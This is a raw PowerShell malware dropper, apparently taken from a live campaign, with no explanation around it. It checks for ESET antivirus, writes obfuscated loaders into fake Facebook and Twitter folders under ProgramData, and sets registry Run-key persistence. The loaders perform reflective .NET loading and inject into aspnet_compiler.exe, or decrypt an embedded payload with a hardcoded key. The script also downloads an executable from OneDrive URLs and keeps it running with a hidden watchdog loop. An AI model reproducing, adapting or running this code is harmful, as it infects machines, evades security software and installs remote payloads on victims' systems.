















Function FOOD_3losh
{

$Nod32 = "C:\Program Files\ESET\ESET Security\ecmds.exe"

if([System.IO.File]::Exists($Nod32)){

$OutPath = "C:\ProgramData\Facebook\System32\Microsoft\SystemData"
if (-not (Test-Path  $OutPath ))
        {
       New-Item $OutPath -ItemType Directory -Force
       
        }

Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name '!33RegisterDNS' -Value "C:\Windows\System32\cmd.exe '/c  powershell -windo 1 -noexit -exec bypass -file C:\ProgramData\Facebook\System32\Microsoft\SystemData\Microsofd.ps1"



$Content = @'
Function dECOMpRESS {
[CmdletBiNding()]
Param (
[byte[]] $byteArray
)
Process {
$input = N`e`w-Object System.IO.MemoryStream(,$byteArray)
$output = N`e`w-Object System.IO.MemoryStream
try 
{
${/x\x/x\x/x\x/x\x/x\x/x\x/x\} = N`e`w-Object System.IO.Compression.GzipStream $input,([IO.Compression.CompressionMode]::dECOMpRESS)
} catch { }
try 
{
${/x\x/x\x/x\x/x\x/x\x/x\x/x\}.Copyto($output)
} catch { }
try 
{
[byte[]] $byteOutArray = $output.toArray()
return $byteOutArray
} catch { }
}
}
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try
{
[<#ᅮζᅮζᅮζᅮ#>Reflection.Assembly<#ᅮζᅮζᅮζᅮ#>]::<#ᅮζᅮζᅮζᅮ#>"Loa`d"($UC)<#ᅮζᅮζᅮζᅮ#>."Get`T`y`p`e"(<#ᅮζᅮζᅮζᅮ#>'NV.b'<#ᅮζᅮζᅮζᅮ#>)."GetMet`h`o`d"(<#ᅮζᅮζᅮζᅮ#>'Execute'<#ᅮζᅮζᅮζᅮ#>).<#ᅮζᅮζᅮζᅮ#>Invoke(<#ᅮζᅮζᅮζᅮ#>$null - 1000 - 1000 - 1000 - 1000 - 1000 - 1000,<#ᅮζᅮζᅮζᅮ#>[object[<#ᅮζᅮζᅮζᅮ#>]<#ᅮζᅮζᅮζᅮ#>] ('C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe',$MC))

} catch { }
'@
Set-Content -Path C:\ProgramData\Facebook\System32\Microsoft\SystemData\Microsofd.ps1 -Value $Content
start-sleep 20





powershell -NoProfile -NonInteractive -NoLogo -WindowStyle hidden -ExecutionPolicy Unrestricted "C:\ProgramData\Facebook\System32\Microsoft\SystemData\Microsofd.ps1"









$Content = @'
REG ADD HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 1 /d "C:\ProgramData\Twitter\log\Untitled.exe"
REG ADD HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 2 /d "C:\Windows\System32\cmd.exe '/c  powershell -windo 1 -noexit -exec bypass -file C:\ProgramData\Twitter\log\look.ps1"
REG ADD HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 3 /d "C:\Windows\System32\cmd.exe '/c  powershell -windo 1 -noexit -exec bypass -file C:\ProgramData\Facebook\System32\Microsoft\SystemData\Microsofd.ps1"
'@
Set-Content -Path C:\Users\Public\1.bat -Value $Content

$Content = @'
set WshShell = wscript.createobject("WScript.shell")
WshShell.run """C:\Users\Public\1.bat"" ", 0, true
Set WshShell = Nothing
'@
Set-Content -Path C:\Users\Public\1.vbs -Value $Content
start-sleep 10
start C:\Users\Public\1.vbs




$OutPath = "C:\ProgramData\Twitter\log\"
if (-not (Test-Path  $OutPath ))
        {
            New-Item $OutPath -ItemType Directory -Force
        }

start-sleep 5

$url = "https://onedrive.live.com/Download?cid=6BCBE135551869F2&resid=6BCBE135551869F2%21155&authkey=AJuAk8leThq3h04" 
$path = "C:\ProgramData\Twitter\log\Untitled.exe" 
# param([string]$url, [string]$path) 

if(!(Split-Path -parent $path) -or !(Test-Path -pathType Container (Split-Path -parent $path))) { 
$targetFile = Join-Path $pwd (Split-Path -leaf $path) 
} 

(New-Object Net.WebClient).DownloadFile($url, $path) 
$path



$url = "https://onedrive.live.com/Download?cid=6BCBE135551869F2&resid=6BCBE135551869F2%21156&authkey=AKRdokKGbrIJzeM" 
$path = "C:\ProgramData\Twitter\log\Untitled.exe.manifest" 
# param([string]$url, [string]$path) 

if(!(Split-Path -parent $path) -or !(Test-Path -pathType Container (Split-Path -parent $path))) { 
$targetFile = Join-Path $pwd (Split-Path -leaf $path) 
} 

(New-Object Net.WebClient).DownloadFile($url, $path) 
$path

start-sleep 5
$Content = @'
while ($true){
if((get-process "Untitled" -ea SilentlyContinue) -eq $Null){
{
}
start C:\ProgramData\Twitter\log\Untitled.exe
}
start-sleep 60
}
'@
Set-Content -Path C:\ProgramData\Twitter\log\look.ps1 -Value $Content

start-sleep 5


powershell -NoProfile -NonInteractive -NoLogo -WindowStyle hidden -ExecutionPolicy Unrestricted "C:\ProgramData\Twitter\log\look.ps1"







}


else{


$OutPath = "C:\ProgramData\Facebook\System32\Microsoft\SystemData"
if (-not (Test-Path  $OutPath ))
        {
       New-Item $OutPath -ItemType Directory -Force
       
        }

Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name '!33RegisterDNS' -Value "C:\Windows\System32\cmd.exe '/c  powershell -windo 1 -noexit -exec bypass -file C:\ProgramData\Facebook\System32\Microsoft\SystemData\Outlook.ps1"

$Content = @'
[System.Environment]::CurrentDirectory = $pwd.Path
function cnvrtf {
    param (
        [string]
        $cp
    )
    [byte[]]$k = @(13,225,70,50,167,212,237,45,213,47,25,33,53,44,7,36)
    $ss = $cp | ConvertTo-SecureString -Key $k
    $bstr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($ss)
    $b64 = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($bstr)
    $b = [System.Convert]::FromBase64String($b64)
    return $b
}
function rf {
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    $pb = cnvrtf $str
    return $pb
}
[byte[]]$p1 = rf
$tmp = [System.IO.Path]::GetTempFileName()
[System.IO.File]::WriteAllBytes($tmp, $p1)
try
{
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public static class PoH
{
    [DllImport(@"$tmp", CharSet=CharSet.Auto)]
    public static extern int main();	
}
"@

}
catch{}

[PoH]::main();
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$a = [System.Reflection.Assembly]::Load($bbb)
$a.EntryPoint.Invoke($null, $null);
'@
Set-Content -Path C:\ProgramData\Facebook\System32\Microsoft\SystemData\Outlook.ps1 -Value $Content
start-sleep 10

powershell -NoProfile -NonInteractive -NoLogo -WindowStyle hidden -ExecutionPolicy Unrestricted "C:\ProgramData\Facebook\System32\Microsoft\SystemData\Outlook.ps1"



$Content = @'
REG ADD HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 1 /d "C:\ProgramData\Twitter\log\Untitled.exe"
REG ADD HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 2 /d "C:\Windows\System32\cmd.exe '/c  powershell -windo 1 -noexit -exec bypass -file C:\ProgramData\Twitter\log\look.ps1"
REG ADD HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 3 /d "C:\Windows\System32\cmd.exe '/c  powershell -windo 1 -noexit -exec bypass -file C:\ProgramData\Facebook\System32\Microsoft\SystemData\Microsofd.ps1"
'@
Set-Content -Path C:\Users\Public\1.bat -Value $Content

$Content = @'
set WshShell = wscript.createobject("WScript.shell")
WshShell.run """C:\Users\Public\1.bat"" ", 0, true
Set WshShell = Nothing
'@
Set-Content -Path C:\Users\Public\1.vbs -Value $Content
start-sleep 10
start C:\Users\Public\1.vbs




$OutPath = "C:\ProgramData\Twitter\log\"
if (-not (Test-Path  $OutPath ))
        {
            New-Item $OutPath -ItemType Directory -Force
        }

start-sleep 5

$url = "https://onedrive.live.com/Download?cid=6BCBE135551869F2&resid=6BCBE135551869F2%21155&authkey=AJuAk8leThq3h04" 
$path = "C:\ProgramData\Twitter\log\Untitled.exe" 
# param([string]$url, [string]$path) 

if(!(Split-Path -parent $path) -or !(Test-Path -pathType Container (Split-Path -parent $path))) { 
$targetFile = Join-Path $pwd (Split-Path -leaf $path) 
} 

(New-Object Net.WebClient).DownloadFile($url, $path) 
$path



$url = "https://onedrive.live.com/Download?cid=6BCBE135551869F2&resid=6BCBE135551869F2%21156&authkey=AKRdokKGbrIJzeM" 
$path = "C:\ProgramData\Twitter\log\Untitled.exe.manifest" 
# param([string]$url, [string]$path) 

if(!(Split-Path -parent $path) -or !(Test-Path -pathType Container (Split-Path -parent $path))) { 
$targetFile = Join-Path $pwd (Split-Path -leaf $path) 
} 

(New-Object Net.WebClient).DownloadFile($url, $path) 
$path

start-sleep 5
$Content = @'
while ($true){
if((get-process "Untitled" -ea SilentlyContinue) -eq $Null){
{
}
start C:\ProgramData\Twitter\log\Untitled.exe
}
start-sleep 60
}
'@
Set-Content -Path C:\ProgramData\Twitter\log\look.ps1 -Value $Content

start-sleep 5


powershell -NoProfile -NonInteractive -NoLogo -WindowStyle hidden -ExecutionPolicy Unrestricted "C:\ProgramData\Twitter\log\look.ps1"







}
}
IEX FOOD_3losh
